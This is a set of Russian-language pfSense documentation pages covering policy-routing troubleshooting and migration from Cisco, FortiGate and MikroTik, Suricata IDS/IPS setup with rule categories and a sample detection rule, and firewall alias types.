### Policy route не применяется

Если трафик проходит через шлюз по умолчанию вместо указанного в правиле:

1. **Проверить порядок правил**. Правило с policy route должно располагаться выше общего правила разрешения. Открыть **Firewall > Rules** на соответствующем интерфейсе и убедиться в корректном порядке.

2. **Проверить совпадение правила**. Открыть **Status > System Logs > Firewall** и убедиться, что трафик совпадает именно с правилом policy route, а не с другим правилом.

3. **Проверить состояние шлюза**. Если указанный шлюз недоступен (статус Down), pfSense может направить трафик через шлюз по умолчанию. Проверить состояние в **Status > Gateways**.

4. **Проверить существующие состояния**. Если соединение было установлено до создания policy route, оно продолжит использовать прежний маршрут. Для принудительного применения нового правила необходимо сбросить таблицу состояний: **Diagnostics > States > Reset States**. Следует учитывать, что сброс состояний разрывает все активные соединения.

5. **Убедиться в корректности интерфейса**. Policy routing применяется на входном интерфейсе. Правило для трафика из LAN должно находиться на вкладке LAN, а не на WAN или Floating.

### Предупреждение об асимметричной маршрутизации

При использовании policy routing с несколькими WAN-интерфейсами возникает риск асимметричной маршрутизации ответного трафика. Запрос уходит через WAN2, но ответ может прийти через WAN1, если удалённый маршрутизатор выбирает маршрут независимо.

Для предотвращения этой проблемы:

- Настроить правила **reply-to** (pfSense добавляет их автоматически при использовании policy routing), обеспечивающие возврат ответного трафика через тот же интерфейс.
- Проверить, что опция **Disable reply-to** не включена на правилах файрвола WAN-интерфейсов.
- При необходимости включить **Bypass firewall rules for traffic on the same interface** в **System > Advanced > Firewall & NAT**.

### Трафик не покидает pfSense через ожидаемый интерфейс

Для проверки фактического маршрута следует выполнить захват пакетов на WAN-интерфейсе:

1. Открыть **Diagnostics > Packet Capture**.
2. Выбрать WAN-интерфейс, через который ожидается прохождение трафика.
3. Указать фильтр по IP-адресу источника или назначения.
4. Инициировать трафик с хоста-источника.
5. Проверить, появляются ли пакеты на ожидаемом интерфейсе.

Если пакеты появляются на другом WAN-интерфейсе, проблема заключается в порядке правил или в существующих состояниях.

### Проблемы со Sticky Connections

Если при использовании Gateway Groups с балансировкой наблюдаются разрывы сессий:

1. Убедиться, что опция **Sticky Connections** включена в **System > Advanced > Miscellaneous**.
2. Проверить значение **Source Tracking Timeout** - по умолчанию 0 (привязка на время жизни состояния). При необходимости увеличить значение.
3. Для отдельных сервисов, не допускающих смену IP-адреса (банковские системы, корпоративные VPN), создать отдельное правило с конкретным шлюзом вместо Gateway Group.

## Миграция с других платформ

### Cisco IOS PBR

В Cisco IOS policy-based routing настраивается через route-map и ip policy:

```
access-list 110 permit ip 10.0.1.0 0.0.0.255 any

route-map PBR_ACCOUNTING permit 10
  match ip address 110
  set ip next-hop 203.0.113.1

interface GigabitEthernet0/1
  ip policy route-map PBR_ACCOUNTING
```

Эквивалент в pfSense:

1. Создать шлюз с адресом 203.0.113.1 в **System > Routing > Gateways**.
2. Создать правило файрвола на LAN-интерфейсе:
   - Source: 10.0.1.0/24
   - Destination: Any
   - Gateway: созданный шлюз

Ключевые отличия:

| Аспект | Cisco IOS | pfSense |
|---|---|---|
| Механизм | Route-map + ACL | Правила файрвола + поле Gateway |
| Привязка | К интерфейсу через `ip policy` | Правило на вкладке интерфейса |
| Критерии | ACL (L3/L4) | Все поля правила файрвола |
| Failover | Через tracking objects и PBR | Через Gateway Groups |
| Локальный трафик | `ip local policy route-map` | Не поддерживается (только forwarded traffic) |

### FortiGate Policy Routes

В FortiGate policy routes настраиваются отдельно от правил файрвола:

```
config router policy
    edit 1
        set input-device "port2"
        set src "10.0.1.0/255.255.255.0"
        set dst "0.0.0.0/0.0.0.0"
        set gateway 203.0.113.1
        set output-device "port1"
    next
end
```

Ключевые отличия:

| Аспект | FortiGate | pfSense |
|---|---|---|
| Расположение | Отдельная таблица policy routes | Поле Gateway в правилах файрвола |
| Связь с файрволом | Независимые сущности | Встроено в правила файрвола |
| Критерии | IP-адреса, протокол, порт, ToS | Все параметры правила файрвола |
| SD-WAN | Интеграция с SD-WAN rules | Gateway Groups |
| Приоритет | Номер policy route | Позиция правила файрвола |

### MikroTik Routing Marks

В MikroTik PBR реализуется через routing marks в mangle и routing tables:

```
/ip firewall mangle add chain=prerouting src-address=10.0.1.0/24 \
    action=mark-routing new-routing-mark=via_ISP2

/ip route add dst-address=0.0.0.0/0 gateway=203.0.113.1 \
    routing-mark=via_ISP2
```

Ключевые отличия:

| Аспект | MikroTik | pfSense |
|---|---|---|
| Механизм | Mangle + routing marks + routing tables | Правила файрвола + поле Gateway |
| Гибкость | Отдельные routing tables для каждого mark | Один шлюз или Gateway Group на правило |
| Критерии маркировки | Все поля mangle (L2-L7) | Поля правила файрвола (L3-L4) |
| Каскадирование | Поддерживается (mark в одной цепочке, route в другой) | Не поддерживается |
| VRF | Поддерживается | Не поддерживается |

## Рекомендации по проектированию

При проектировании policy routing в pfSense следует учитывать следующие принципы:

- **Минимизировать количество policy routes**. Каждое правило с явным шлюзом добавляет сложность в диагностику. Следует группировать хосты через алиасы и создавать обобщённые правила вместо индивидуальных для каждого хоста.

- **Использовать Gateway Groups вместо конкретных шлюзов**. Даже при одном WAN-канале целесообразно создать Gateway Group с единственным участником. Это упрощает последующее добавление резервного канала без изменения правил файрвола.

- **Документировать логику маршрутизации**. Поле Description в правилах файрвола должно чётко указывать, какой трафик и через какой канал направляется. При большом количестве policy routes рекомендуется создать разделитель (separator) на вкладке правил для визуального разграничения блоков.

- **Тестировать после каждого изменения**. После добавления или изменения policy route следует выполнить traceroute с хоста-источника и убедиться, что трафик проходит через ожидаемый шлюз. Также рекомендуется проверить работу сервисов, чувствительных к смене IP-адреса.

- **Планировать обработку отказов**. При указании конкретного шлюза (а не Gateway Group) отказ шлюза может привести к полной потере связности для затронутых хостов. Рекомендуется всегда использовать Gateway Groups с резервным шлюзом.

- **Учитывать влияние на исходящий NAT**. При использовании нескольких WAN-интерфейсов необходимо проверить правила исходящего NAT для каждого интерфейса. В режиме Automatic Outbound NAT pfSense создаёт правила автоматически, но в режиме Manual потребуется ручная настройка.

## Связанные разделы

- [Статические маршруты](/docs/pfsense/routing/pfsense-static-routes/) - настройка шлюзов и статических маршрутов, просмотр таблицы маршрутизации
- [Multi-WAN в pfSense](/docs/pfsense/multi-wan/) - настройка нескольких WAN-подключений, тесно связанная с policy routing
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами, в которых настраивается policy routing


---

# Suricata IDS/IPS в pfSense - обнаружение вторжений

Source: https://opennix.org/docs/pfsense/packages/pfsense-suricata/


Suricata - высокопроизводительный движок обнаружения и предотвращения вторжений (IDS/IPS), работающий с сетевым трафиком в режиме реального времени. В pfSense Suricata устанавливается как пакет и обеспечивает глубокий анализ пакетов (DPI), сигнатурное обнаружение угроз, анализ протоколов и логирование в формате EVE JSON. В отличие от межсетевого экрана, который оперирует на уровне IP-адресов и портов, Suricata анализирует содержимое трафика - выявляет попытки эксплуатации уязвимостей, сканирование портов, передачу вредоносного кода и аномальное поведение протоколов.

Suricata поддерживает два режима работы: IDS (Intrusion Detection System) - только обнаружение и логирование угроз, и IPS (Intrusion Prevention System) - активная блокировка вредоносного трафика. Выбор режима зависит от требований к безопасности и допустимого уровня влияния на сетевой трафик.

## Установка Suricata

Установка выполняется через менеджер пакетов:

1. Перейти в **System > Package Manager > Available Packages**
2. Найти **suricata** в строке поиска
3. Нажать **Install** и подтвердить установку
4. Дождаться завершения установки

После установки конфигурация Suricata доступна через **Services > Suricata**.

### Системные требования

Suricata предъявляет значительные требования к ресурсам, особенно при работе с большим объёмом трафика:

| Параметр | Минимум | Рекомендуется |
|---|---|---|
| **RAM** | 2 ГБ | 4 ГБ и более |
| **CPU** | 2 ядра | 4 ядра и более |
| **Диск** | 10 ГБ свободного пространства | 20 ГБ (для хранения логов) |

Потребление памяти зависит от количества загруженных правил и объёма анализируемого трафика. При включении всех категорий правил потребление RAM может превысить 4 ГБ.

## Глобальные настройки

Первоначальная конфигурация начинается с вкладки **Global Settings** (**Services > Suricata > Global Settings**), где задаются источники правил и общие параметры.

### Источники правил

Suricata использует наборы сигнатур (правил) для обнаружения известных угроз. Каждый источник содержит тысячи правил, сгруппированных по категориям.

| Источник | Описание | Требует регистрации |
|---|---|---|
| **ET Open** | Emerging Threats Open - бесплатный набор сигнатур от Proofpoint | Нет |
| **ET Pro** | Расширенный коммерческий набор Emerging Threats | Да (Oink Code) |
| **Snort VRT** | Набор правил от Cisco Talos (Snort Subscriber Rules) | Да (Oink Code) |
| **Snort Community** | Бесплатный набор правил Snort с задержкой обновлений | Нет |
| **Feodo Tracker** | Правила для обнаружения C2-серверов банковских троянов | Нет |
| **ETPRO Telemetry** | Телеметрические данные для улучшения ET Pro | Нет |

Для использования платных источников необходимо получить Oink Code на сайте провайдера и ввести его в соответствующее поле на вкладке **Global Settings**.

### Интервал обновления правил

Параметр **Update Interval** определяет частоту автоматической загрузки обновлений правил. Рекомендуемые значения:

| Интервал | Сценарий |
|---|---|
| **6 Hours** | Среды с повышенными требованиями к безопасности |
| **12 Hours** | Стандартные развёртывания |
| **1 Day** | Среды с ограниченной пропускной способностью |

Первоначальную загрузку правил необходимо выполнить вручную через вкладку **Updates** после настройки источников.

## Настройка интерфейсов

Suricata привязывается к сетевым интерфейсам pfSense и анализирует трафик на каждом из них независимо. Настройка интерфейсов выполняется через **Services > Suricata > Interfaces**.

### Добавление интерфейса

1. Перейти в **Services > Suricata > Interfaces**
2. Нажать **Add** для добавления нового интерфейса
3. Выбрать сетевой интерфейс из списка (WAN, LAN, OPT1 и т.д.)
4. Установить **Enable** для активации
5. Настроить параметры и нажать **Save**

### Выбор интерфейсов для мониторинга

| Интерфейс | Рекомендации |
|---|---|
| **WAN** | Обязателен - анализ входящего трафика из интернета, обнаружение внешних атак |
| **LAN** | Рекомендуется - обнаружение внутренних угроз, lateral movement, C2-коммуникаций |
| **DMZ** | Рекомендуется - защита серверов в демилитаризованной зоне |
| **VPN** | По необходимости - анализ трафика VPN-туннелей |

> **Внимание**:
>
> Мониторинг каждого дополнительного интерфейса увеличивает потребление ресурсов. На системах с ограниченными ресурсами рекомендуется начинать с WAN-интерфейса и добавлять остальные по мере необходимости.

### Основные параметры интерфейса

| Параметр | Описание |
|---|---|
| **Enable** | Активация Suricata на данном интерфейсе |
| **Send Alerts to System Log** | Дублирование алертов в системный журнал pfSense |
| **Block Offenders** | Включение режима IPS - блокировка источников вредоносного трафика |
| **IPS Mode** | Режим блокировки: Legacy Mode или Inline Mode |
| **Kill States** | Завершение активных сессий при блокировке IP-адреса |
| **Which IP to Block** | Какой адрес блокировать: SRC, DST или BOTH |

## Режимы блокировки

Suricata в pfSense поддерживает два режима предотвращения вторжений, различающихся механизмом блокировки.

### Legacy Mode

В Legacy Mode Suricata работает как классическая IDS с возможностью блокировки. При срабатывании правила IP-адрес нарушителя добавляется в таблицу блокировки pf (snort2c). Все последующие пакеты от этого адреса отбрасываются файрволом до истечения таймаута блокировки.

Особенности Legacy Mode:

- Первый вредоносный пакет проходит (блокировка наступает после обнаружения)
- Блокируется весь трафик от IP-адреса нарушителя, включая легитимный
- Возможны ложные блокировки при срабатывании на легитимный трафик
- Меньшее потребление ресурсов по сравнению с Inline Mode

### Inline Mode

В Inline Mode Suricata встраивается непосредственно в путь прохождения пакетов через файрвол с использованием netmap. Каждый пакет проходит через движок Suricata перед принятием решения о пропуске или отбрасывании.

Особенности Inline Mode:

- Вредоносные пакеты отбрасываются до достижения цели
- Блокируются только вредоносные пакеты, а не весь трафик от IP-адреса
- Более точное предотвращение угроз
- Повышенное потребление ресурсов и потенциальное увеличение задержки
- Требует правил с действием `drop` вместо `alert`

Для активации Inline Mode необходимо:

1. На вкладке настройки интерфейса установить **IPS Mode** в **Inline Mode**
2. Убедиться, что включены правила с действием `drop`
3. Перезапустить Suricata на интерфейсе

> **Внимание**:
>
> Inline Mode вносит дополнительную задержку в обработку каждого пакета. При недостаточной производительности системы это может привести к замедлению сетевых соединений. Перед включением Inline Mode в рабочей среде проведите тестирование под нагрузкой.

## Управление правилами

### Категории правил

Правила организованы в категории по типу обнаруживаемых угроз. Управление категориями выполняется на вкладке **Categories** для каждого интерфейса.

Основные категории ET Open:

| Категория | Описание |
|---|---|
| **emerging-attack_response** | Ответы, указывающие на успешную атаку |
| **emerging-botcc** | Коммуникации с известными ботнет-серверами |
| **emerging-ciarmy** | IP-адреса из списка CI Army |
| **emerging-compromised** | Известные скомпрометированные хосты |
| **emerging-current_events** | Актуальные угрозы (обновляется часто) |
| **emerging-dns** | Аномальные DNS-запросы и DNS-туннелирование |
| **emerging-dos** | Обнаружение DoS/DDoS-атак |
| **emerging-exploit** | Эксплуатация известных уязвимостей |
| **emerging-malware** | Вредоносное ПО и связанный с ним трафик |
| **emerging-policy** | Нарушения корпоративной политики (торренты, анонимайзеры) |
| **emerging-scan** | Сканирование портов и сетевая разведка |
| **emerging-trojan** | Трояны и бэкдоры |
| **emerging-web_client** | Атаки на веб-браузеры и клиентское ПО |
| **emerging-web_server** | Атаки на веб-серверы (SQL injection, XSS, RCE) |

### Включение и отключение категорий

На вкладке **Categories** отображается полный список доступных категорий с чекбоксами. Для стандартного развёртывания рекомендуется включить:

- Все категории `emerging-malware`, `emerging-trojan`, `emerging-exploit`
- Категории `emerging-botcc`, `emerging-compromised`
- Категорию `emerging-scan` для обнаружения разведки
- Категорию `emerging-web_server` при наличии веб-серверов в сети

Категории `emerging-policy` и `emerging-games` следует включать только при необходимости контроля политик использования сети.

### SID Management

SID Management позволяет управлять отдельными правилами по их уникальному идентификатору (SID) без отключения всей категории.

Настройка выполняется через **Services > Suricata > SID Mgmt**.

| Действие | Файл | Формат |
|---|---|---|
| **Отключение правил** | disablesid.conf | `SID` или `SID1, SID2, SID3` |
| **Включение правил** | enablesid.conf | `SID` или `SID1, SID2, SID3` |
| **Изменение действия на drop** | dropsid.conf | `SID` или `SID1, SID2, SID3` |
| **Изменение действия на reject** | rejectsid.conf | `SID` или `SID1, SID2, SID3` |

Файлы SID Management применяются после каждого обновления правил, что позволяет сохранить пользовательские модификации при автоматическом обновлении наборов правил.

### Пользовательские правила

Для создания собственных правил используется вкладка **Rules** в настройках интерфейса. Пользовательские правила записываются в формате Suricata:

```text
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Custom - Suspicious User-Agent"; http.user_agent; content:"sqlmap"; nocase; classtype:web-application-attack; sid:9000001; rev:1;)
```

Основные элементы правила:

| Элемент | Описание |
|---|---|
| **action** | Действие: `alert`, `drop`, `reject`, `pass` |
| **protocol** | Протокол: `tcp`, `udp`, `http`, `dns`, `tls` и др. |
| **src/dst** | Адреса источника и назначения (переменные `$HOME_NET`, `$EXTERNAL_NET`) |
| **msg** | Описание срабатывания для алертов |
| **content** | Паттерн для поиска в содержимом пакета |
| **sid** | Уникальный идентификатор правила (для пользовательских правил используйте SID > 9000000) |
| **classtype** | Классификация угрозы по типу |

## Pass-листы

Pass-листы (списки пропуска) определяют IP-адреса, трафик которых не подвергается блокировке при срабатывании правил IPS. Адреса из pass-листа продолжают анализироваться Suricata, и алерты генерируются, но автоматическая блокировка не применяется.

### Настройка pass-листов

Конфигурация выполняется на вкладке **Pass Lists** (**Services > Suricata > Pass Lists**).

1. Нажать **Add** для создания нового pass-листа
2. Указать имя и описание
3. Добавить IP-адреса или подсети в соответствующие поля
4. Сохранить и назначить pass-лист интерфейсу

### Предустановленные записи

Pass-лист может автоматически включать:

| Параметр | Описание |
|---|---|
| **Add Firewall Aliases** | Импорт алиасов из правил файрвола |
| **Add Virtual IP Addresses** | Включение виртуальных IP-адресов (CARP, IP Alias) |
| **Add VPN Addresses** | Адреса VPN-клиентов и серверов |
| **Add Locally Assigned Addresses** | IP-адреса интерфейсов pfSense |

### Рекомендации по использованию

В pass-лист следует добавлять:

- IP-адреса критически важных серверов, блокировка которых недопустима
- Адреса внутренних систем мониторинга, выполняющих сканирование
- Шлюзы провайдеров и DNS-серверы
- Адреса партнёрских организаций с интенсивным трафиком

> **Внимание**:
>
> Pass-лист не отключает обнаружение - алерты продолжают генерироваться. Он лишь предотвращает автоматическую блокировку. Это позволяет анализировать трафик без риска нарушения работы критических сервисов.

## EVE JSON логирование

EVE (Extensible Event Format) - основной формат логирования Suricata, записывающий события в структурированном JSON-формате. Каждая строка лога содержит полный контекст события, что упрощает парсинг и интеграцию с SIEM-системами.

### Включение EVE JSON

На вкладке настройки интерфейса в разделе **Logging Settings**:

1. Установить **EVE JSON Log** в **Enabled**
2. Выбрать типы событий для логирования
3. Настроить ротацию файлов

### Типы событий EVE

| Тип | Описание | Файл |
|---|---|---|
| **Alerts** | Срабатывания правил обнаружения | eve.json |
| **HTTP** | Метаданные HTTP-запросов (URL, User-Agent, статус) | eve.json |
| **DNS** | DNS-запросы и ответы | eve.json |
| **TLS** | Метаданные TLS-соединений (SNI, сертификаты) | eve.json |
| **Files** | Информация о передаваемых файлах | eve.json |
| **Drop** | Отброшенные пакеты (в Inline Mode) | eve.json |
| **Flow** | Метаданные сетевых соединений | eve.json |
| **Stats** | Статистика работы движка | eve.json |

### Пример записи EVE JSON

```json
{
  "timestamp": "2024-03-15T10:23:45.123456+0000",
  "flow_id": 1234567890,
  "event_type": "alert",
  "src_ip": "192.168.1.100",
  "src_port": 52341,
  "dest_ip": "203.0.113.50",
  "dest_port": 443,
  "proto": "TCP",
  "alert": {
    "action": "allowed",
    "gid": 1,
    "signature_id": 2024897,
    "rev": 3,
    "signature": "ET TROJAN Observed Malicious SSL Certificate",
    "category": "A Network Trojan was detected",
    "severity": 1
  }
}
```

### Расположение логов

Логи Suricata хранятся в директории `/var/log/suricata/suricata_<interface>`. Для каждого интерфейса создаётся отдельная поддиректория.

## Просмотр алертов

Алерты Suricata отображаются в нескольких местах:

### Вкладка Alerts

**Services > Suricata > Alerts** - основная страница просмотра алертов с фильтрацией по интерфейсу, приоритету и времени. Для каждого алерта отображаются:

- Время срабатывания
- Приоритет (1 - критический, 4 - информационный)
- Протокол, IP-адреса и порты источника и назначения
- Описание правила (message)
- SID правила

Из интерфейса алертов можно выполнить действия:

- Добавить IP-адрес в pass-лист
- Отключить правило по SID
- Просмотреть детали правила

### Блокированные IP-адреса

**Services > Suricata > Blocks** отображает список IP-адресов, заблокированных в режиме IPS. Для каждого заблокированного адреса указаны:

- IP-адрес
- Время блокировки
- SID правила, вызвавшего блокировку
- Описание правила

Заблокированные адреса можно разблокировать вручную через эту страницу или дождаться автоматического истечения таймаута блокировки.

### Виджет Dashboard

Suricata добавляет виджет на главную панель pfSense (**Dashboard**), отображающий текущее состояние сервиса на каждом интерфейсе и количество алертов.

## Переменные Suricata

Переменные определяют адресные диапазоны, используемые в правилах для идентификации внутренних и внешних сетей.

| Переменная | Описание | Значение по умолчанию |
|---|---|---|
| **$HOME_NET** | Внутренние сети (защищаемые) | Подсети всех интерфейсов pfSense |
| **$EXTERNAL_NET** | Внешние сети | `!$HOME_NET` (всё, кроме внутренних) |
| **$HTTP_SERVERS** | Веб-серверы во внутренней сети | `$HOME_NET` |
| **$DNS_SERVERS** | DNS-серверы | `$HOME_NET` |
| **$SMTP_SERVERS** | Почтовые серверы | `$HOME_NET` |
| **$SQL_SERVERS** | Серверы баз данных | `$HOME_NET` |

Настройка переменных выполняется на вкладке конфигурации интерфейса в разделе **Variables**. Для повышения точности обнаружения рекомендуется указывать конкретные IP-адреса серверов вместо использования значений по умолчанию.

## Настройка производительности

### Многопоточность

Suricata поддерживает многопоточную обработку трафика. Настройка потоков выполняется на вкладке интерфейса в разделе **Detection Engine Settings**.

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Detect-Engine Profile** | Профиль использования памяти | **Medium** для большинства развёртываний |
| **Pattern Matcher Algorithm** | Алгоритм сопоставления паттернов | **AC** (Aho-Corasick) для максимальной производительности |
| **Stream Memory Cap** | Ограничение памяти для реассемблирования потоков | 64 МБ (увеличить при высоком трафике) |

### Hardware Offloading

Для работы Suricata в Inline Mode необходимо отключить аппаратное ускорение обработки пакетов на сетевых интерфейсах:

1. Перейти в **System > Advanced > Networking**
2. Установить флажки **Disable Hardware Checksum Offload**, **Disable Hardware TCP Segmentation Offload**, **Disable Hardware Large Receive Offload**
3. Нажать **Save** и перезагрузить pfSense

> **Внимание**:
>
> Отключение hardware offloading снижает пропускную способность сетевого интерфейса, но необходимо для корректной работы Suricata в режиме глубокого анализа пакетов. Без отключения Suricata может пропускать фрагментированные пакеты или получать некорректные контрольные суммы.

### Рекомендации по оптимизации

- Включать только необходимые категории правил - каждая категория потребляет память
- Использовать SID Management для отключения правил, генерирующих ложные срабатывания
- Настроить ротацию логов для предотвращения заполнения диска
- На системах с ограниченной RAM выбирать профиль **Low** для Detect-Engine
- Мониторить потребление ресурсов через **Status > System Activity**

## Интеграция с Wazuh

Suricata генерирует логи в формате EVE JSON, который поддерживается Wazuh для декодирования и анализа. Интеграция обеспечивает централизованный мониторинг алертов IDS/IPS, корреляцию с другими событиями безопасности и расширенное оповещение.

### Настройка передачи логов

Для отправки алертов Suricata в Wazuh необходимо настроить syslog-пересылку или установить Wazuh Agent на pfSense:

1. Настроить EVE JSON логирование с включением типа **Alerts**
2. Сконфигурировать пересылку логов через syslog (**Status > System Logs > Settings**) или через Wazuh Agent
3. Убедиться, что в конфигурации Wazuh Agent указан путь к файлу EVE JSON: `/var/log/suricata/suricata_<interface>/eve.json`

Подробная инструкция по интеграции представлена в разделе [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/).

### Правила Wazuh для Suricata

Wazuh содержит встроенный набор правил для декодирования и классификации алертов Suricata (группа правил `suricata`). Алерты автоматически обогащаются информацией о MITRE ATT&CK и классифицируются по уровням критичности.

## Диагностика проблем

### Suricata не запускается

1. Проверить системные логи: **Status > System Logs > System**
2. Убедиться, что правила загружены: **Services > Suricata > Updates**
3. Проверить достаточность оперативной памяти: **Status > System Activity**
4. При ошибке `PCRE-based rules not loading` увеличить лимит памяти в настройках интерфейса

### Высокий процент ложных срабатываний

1. Начать с режима IDS (без блокировки) для изучения паттернов трафика
2. Добавить легитимные серверы и сервисы в pass-лист
3. Использовать SID Management для отключения правил с частыми ложными срабатываниями
4. Настроить переменные `$HOME_NET` и серверные переменные максимально точно
5. Просмотреть категории `emerging-policy` и `emerging-games` - они часто генерируют ложные алерты в корпоративных сетях

### Правила не срабатывают

1. Убедиться, что категория правила включена на вкладке **Categories**
2. Проверить, что правило не отключено в SID Management
3. Убедиться, что трафик проходит через интерфейс, на котором работает Suricata
4. Проверить переменные `$HOME_NET` и `$EXTERNAL_NET` - направление трафика в правиле должно совпадать с реальным
5. При использовании HTTPS убедиться, что правило поддерживает анализ TLS-метаданных (SNI, JA3)

### Снижение производительности сети

1. Проверить загрузку CPU через **Status > System Activity**
2. Уменьшить количество включённых категорий правил
3. В Legacy Mode увеличить таймаут блокировки для снижения нагрузки на таблицу блокировки
4. Рассмотреть переход с Inline Mode на Legacy Mode при недостатке ресурсов
5. Отключить логирование типов событий, которые не используются для анализа (Flow, Stats)

### Заблокирован легитимный трафик

1. Проверить список заблокированных адресов: **Services > Suricata > Blocks**
2. Разблокировать адрес вручную
3. Определить SID правила, вызвавшего блокировку
4. Добавить адрес в pass-лист или отключить правило через SID Management
5. Рассмотреть использование действия `alert` вместо `drop` для данного правила

## Сравнение Suricata и Snort

pfSense предлагает два пакета IDS/IPS: Suricata и Snort. При выборе между ними следует учитывать ключевые различия:

| Параметр | Suricata | Snort |
|---|---|---|
| **Многопоточность** | Встроенная поддержка | Ограниченная |
| **Inline IPS** | Поддерживается через netmap | Поддерживается |
| **Протоколы** | Расширенный анализ (HTTP2, TLS, SMB, NFS) | Классический набор |
| **Формат логов** | EVE JSON (структурированный) | Unified2, текстовый |
| **Совместимость правил** | Snort-совместимый формат + расширения | Собственный формат |
| **Потребление ресурсов** | Выше при многопоточности | Ниже на малых нагрузках |

Suricata рекомендуется для новых развёртываний благодаря многопоточности, расширенному анализу протоколов и структурированному логированию.

## Связанные разделы

- [Управление пакетами](/docs/pfsense/packages/pfsense-package-management/) - установка и обновление пакетов pfSense
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - взаимодействие правил файрвола с блокировками Suricata
- [Интеграция pfSense с Wazuh](/docs/pfsense/pfsense-wazuh-integration/) - передача алертов Suricata в SIEM
- [Алиасы файрвола](/docs/pfsense/firewall/pfsense-firewall-aliases/) - использование алиасов в pass-листах
- [Suricata IDS/IPS на VyOS](/docs/vyos/services/vyos-suricata/) - обнаружение и предотвращение вторжений на платформе VyOS
- [Рецепты безопасности](/docs/pfsense/recipes/pfsense-security-recipes/) - харденинг, IDS/IPS, PCI DSS и CIS


---

# Алиасы pfSense - группировка адресов, сетей и портов

Source: https://opennix.org/docs/pfsense/firewall/pfsense-firewall-aliases/


Алиасы в pfSense представляют собой именованные группы IP-адресов, сетей, портов или URL-адресов, которые используются в правилах файрвола, NAT и других компонентах системы вместо указания каждого значения по отдельности. Применение алиасов устраняет дублирование данных в правилах (принцип DRY - Don't Repeat Yourself): при изменении списка адресов достаточно обновить алиас, а не каждое правило, в котором он используется. Это существенно упрощает администрирование, снижает вероятность ошибок и делает набор правил самодокументируемым.

## Типы алиасов

pfSense поддерживает несколько типов алиасов, каждый из которых предназначен для определённой категории данных. Управление алиасами выполняется через меню **Firewall > Aliases**.

### Host

Алиас типа Host содержит отдельные IP-адреса или полные доменные имена (FQDN). При сохранении алиаса pfSense разрешает FQDN-записи через DNS и добавляет полученные IP-адреса в таблицу. Диапазоны адресов и подсети автоматически конвертируются в список отдельных IP-адресов.

**Типичное применение:** группировка серверов мониторинга, почтовых серверов провайдера или IP-адресов администраторов для создания единого правила доступа.

**Пример записей:**

| Запись | Описание |
|---|---|
| `10.0.1.10` | Сервер мониторинга |
| `10.0.1.11` | Резервный сервер мониторинга |
| `monitor.example.com` | FQDN сервера мониторинга |

> **Внимание**:
>
> При использовании FQDN в алиасе типа Host pfSense выполняет DNS-запрос при сохранении и периодически обновляет результат. Если DNS-сервер недоступен или возвращает устаревшие записи, алиас будет содержать некорректные адреса. Для критически важных правил рекомендуется использовать статические IP-адреса.

### Network

Алиас типа Network содержит подсети в нотации CIDR. Этот тип подходит для указания целых сетей или диапазонов адресов. pfSense автоматически конвертирует произвольные диапазоны IPv4 в эквивалентные CIDR-сети.

**Типичное применение:** определение внутренних подсетей организации, списков доверенных сетей партнёров или блокировка географических диапазонов.

**Пример записей:**

| Запись | Маска | Описание |
|---|---|---|
| `192.168.10.0` | `/24` | Подсеть отдела разработки |
| `192.168.20.0` | `/24` | Подсеть бухгалтерии |
| `10.0.0.0` | `/8` | Все внутренние сети |

Для указания одиночного хоста в алиасе типа Network используется маска `/32` (IPv4) или `/128` (IPv6).

### Port

Алиас типа Port содержит номера портов или диапазоны портов. Допустимые значения - целые числа от 1 до 65535. Диапазоны указываются через двоеточие (например, `1194:1199`).

**Типичное применение:** группировка портов веб-сервисов (80, 443, 8080), портов управления (22, 3389, 5900) или портов баз данных (3306, 5432, 27017).

**Пример записей:**

| Запись | Описание |
|---|---|
| `80` | HTTP |
| `443` | HTTPS |
| `8080:8089` | Альтернативные HTTP-порты |

> **Внимание**:
>
> Алиасы портов не привязаны к конкретному протоколу. Один алиас может использоваться как в правилах TCP, так и в правилах UDP. Протокол определяется в самом правиле файрвола, а не в алиасе.

### URL

Алиас типа URL загружает список записей с одного или нескольких URL-адресов **однократно** - в момент создания или сохранения алиаса. После загрузки данные сохраняются локально и не обновляются автоматически. Каждый URL может содержать до 3000 записей.

Существуют два подтипа:

- **URL (IPs)** - URL содержит IP-адреса, сети в CIDR-нотации или FQDN; создаётся алиас сетевого типа
- **URL (Ports)** - URL содержит номера портов или диапазоны; создаётся алиас портового типа

**Типичное применение:** разовая загрузка списка адресов из корпоративной системы управления или из файла на внутреннем веб-сервере.

### URL Table

Алиас типа URL Table аналогичен URL, но поддерживает автоматическое периодическое обновление и предназначен для работы с большими списками (тысячи и десятки тысяч записей). Данные хранятся в файловых таблицах pf, что обеспечивает эффективную работу с объёмными наборами данных.

Существуют два подтипа:

- **URL Table (IPs)** - загружает IP-адреса, сети и FQDN
- **URL Table (Ports)** - загружает номера портов и диапазоны

**Типичное применение:** подключение внешних списков блокировки (Spamhaus DROP, DSHIELD, Emerging Threats), списков Tor-узлов или географических списков IP-адресов.

## Создание алиаса

Процесс создания алиаса выполняется через веб-интерфейс pfSense.

### Пошаговая процедура

1. Перейти в меню **Firewall > Aliases**

![Список алиасов pfSense](/img/pfsense/pfsense-aliases-list.webp)

<p style="text-align: center;">Рис. 1. Главный экран Firewall > Aliases со списком существующих алиасов</p>

2. Выбрать соответствующую вкладку: **IP** (для алиасов типа Host и Network), **Ports** (для портовых алиасов) или **URLs** (для URL и URL Table)

3. Нажать кнопку **Add** для создания нового алиаса

4. Заполнить обязательные поля:

| Поле | Описание |
|---|---|
| **Name** | Имя алиаса. Допустимые символы: `a-z`, `A-Z`, `0-9`, `_`. Имя не должно совпадать с зарезервированными именами (имена интерфейсов, шлюзов) |
| **Description** | Описание назначения алиаса (необязательно, но настоятельно рекомендуется) |
| **Type** | Тип алиаса: Host, Network, Port, URL (IPs), URL (Ports), URL Table (IPs), URL Table (Ports) |

5. Добавить записи. Для каждой записи доступно поле значения и поле описания. Кнопка **Add** добавляет новую строку, кнопка **Delete** удаляет строку

![Редактирование алиаса типа Host](/img/pfsense/pfsense-alias-edit-host.webp)

<p style="text-align: center;">Рис. 2. Редактирование алиаса типа Host с указанием IP-адресов и описаний</p>

6. Нажать **Save** для сохранения алиаса

7. Нажать **Apply Changes** на странице списка алиасов для применения изменений

### Требования к именам алиасов

Имя алиаса должно соответствовать следующим правилам:

- Содержать только латинские буквы, цифры и символ подчёркивания
- Не начинаться с цифры
